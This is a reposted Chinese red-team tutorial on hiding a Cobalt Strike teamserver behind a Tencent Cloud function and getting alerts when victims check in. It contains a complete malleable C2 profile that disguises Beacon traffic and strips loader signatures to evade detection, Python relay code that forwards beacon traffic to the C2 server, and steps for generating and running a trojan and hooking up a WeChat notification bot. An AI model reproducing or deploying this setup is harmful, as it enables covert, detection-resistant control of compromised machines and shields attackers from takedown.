1. 首页
  2. 红队技术

CS云函数及上线提醒

【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。

CS云函数及上线提醒

免责声明

由于传播、利用本公众号李白你好所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号李白你好及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

01 云函数

作者:网络安全情报攻防站-嘉宾千载

云函数好处

  • • 可以隐藏teamserver的真实IP
  • • 可以一定程度上避免被ban掉IP造成权限丢失

CS云函数搭建

首先准备两份代码

1、 cs增加的配置文件:kris.profile

stage 部分为修复stageless不上线问题

set sample_name "kris_abao";
set sleeptime "3000";
set jitter    "0";
set maxdns    "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
http-get {
set uri "/api/getit";
client {
        header "Accept" "*/*";
        metadata {
            base64;
            prepend "SESSIONID=";
            header "Cookie";
        }
    }
server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Server" "Nodejs";
        output {
            base64;
            print;
        }
    }
}
http-stager {  
set uri_x86 "/vue.min.js";
set uri_x64 "/bootstrap-2.min.js";
}
http-post {
set uri "/api/postit";
client {
        header "Accept" "*/*";
        id {
            base64;
            prepend "JSESSION=";
            header "Cookie";
        }
        output {
            base64;
            print;
        }
    }
server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Connection" "keep-alive";
        output {
            base64;
            print;
        }
    }
}

stage {
    set userwx         "false"; 
    set stomppe        "true";
    set obfuscate      "true";
    set name           "srv.dll";
    set cleanup        "true";
    set sleep_mask     "true";

    set checksum       "0";
        set compile_time   "11 Nov 2016 04:08:32";
        set entry_point    "650688";
        set image_size_x86 "4661248";
        set image_size_x64 "4661248";
        set rich_header    "x3ex98xfex75x7axf9x90x26x7axf9x90x26x7axf9x90x26x73x81x03x26xfcxf9x90x26x17xa4x93x27x79xf9x90x26x7axf9x91x26x83xfdx90x26x17xa4x91x27x65xf9x90x26x17xa4x95x27x77xf9x90x26x17xa4x94x27x6cxf9x90x26x17xa4x9ex27x56xf8x90x26x17xa4x6fx26x7bxf9x90x26x17xa4x92x27x7bxf9x90x26x52x69x63x68x7axf9x90x26x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00";

        transform-x86 {
        prepend "x90x90x90x90x90x90x90x90x90"; 
        strrep "ReflectiveLoader" "execute"; 
        strrep "This program cannot be run in DOS mode" ""; 
        strrep "beacon.dll" ""; 
    }
    transform-x64 { 
        prepend "x90x90x90x90x90x90x90x90x90"; 
        strrep "ReflectiveLoader" "execute"; 
        strrep "beacon.x64.dll" "";
    }

    stringw "jQuery";
}

2、云函数代码:

# -*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
    C2='https://ip:port' # 这里可以使用 HTTP、HTTPS~下角标~
    path=event['path']
    headers=event['headers']
    print(event)
    if event['httpMethod'] == 'GET' :
        resp=requests.get(C2+path,headers=headers,verify=False)
    else:
        resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
        print(resp.headers)
        print(resp.content)
    response={
        "isBase64Encoded"True,
        "statusCode": resp.status_code,
        "headers"dict(resp.headers),
        "body"str(base64.b64encode(resp.content))[2:-1]
    }
    return response

腾讯云部分

访问链接,登录腾讯云后进入云函数:

https://console.cloud.tencent.com/scf/index?rid=1&ns=all

点击函数服务,点击新建:

CS云函数及上线提醒

从模版新建,选择API服务(否则需要自行安装requests库):

CS云函数及上线提醒
名称随便起,点击代码部分,将云函数代码粘贴进去,ip和端口改为自己teamserver服务器的公网ip和监听端口:
CS云函数及上线提醒

往下翻,找到触发器,选择自定义,按照下图选择:

CS云函数及上线提醒

点击完成后点击触发管理:

CS云函数及上线提醒

点击API服务名:

CS云函数及上线提醒

点击编辑:

CS云函数及上线提醒

修改路径为”/”,点击立即完成:

CS云函数及上线提醒

注意这个访问地址,一会需要用到红框内部分(即域名部分):

CS云函数及上线提醒

02 环境变量Teamserver服务器部分

配置文件

将kris.profile置于CS服务端根目录

CS云函数及上线提醒

带配置文件启动teamserver:

./teamserver <ip> <password> ./kris.profile
CS云函数及上线提醒

监听器

登录CS后,新建监听器,根据云函数代码填的是https则payload也选择Beacon HTTPS,HTTPS Hosts及HTTPS host均填写云函数公网域名(上文中红框部分),端口与云函数代码中的一致:

CS云函数及上线提醒

生成木马,监听器选择刚刚创建的云函数监听:(天翼云无法使用80,443端口,需要建立两个监听器,一个监听器为云函数公网域名,443端口(或80),用来生成木马用,另一个监听为服务器ip,云函数代码中对应的端口,即真正回连的端口)

CS云函数及上线提醒

运行木马后成功上线,其中由于云函数的缘故,图中的external ip地址会一直变化:

CS云函数及上线提醒

CS配置云函数完成

03 CS上线提醒

插件使用的是

https://github.com/GitlXl/Cobalt_Strike_bot

此处以企业微信提醒为例

以windows为例

在CS_bot.py中填写企微机器人key,将不需要的提醒注释掉:

CS云函数及上线提醒

将CS_bot.cna中的路径改为CS_bot.py的绝对路径:

CS云函数及上线提醒

使用CS自带的agscript工具启动

agscript <host> <port> <user> <pass> </file/CS_bot.cna>

CS云函数及上线提醒

CS云函数及上线提醒

04 往期精彩

文章来源:网络安全情报攻防站

原文地址:https://t.zsxq.com/04NZbUZvR

如需转载本样式风格、字体版权请保留出处:李白你好

原创文章,作者:moonsec,如若转载,请注明出处:https://www.moonsec.com/7759.html

联系我们

400-800-8888

在线咨询:点击这里给我发消息

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息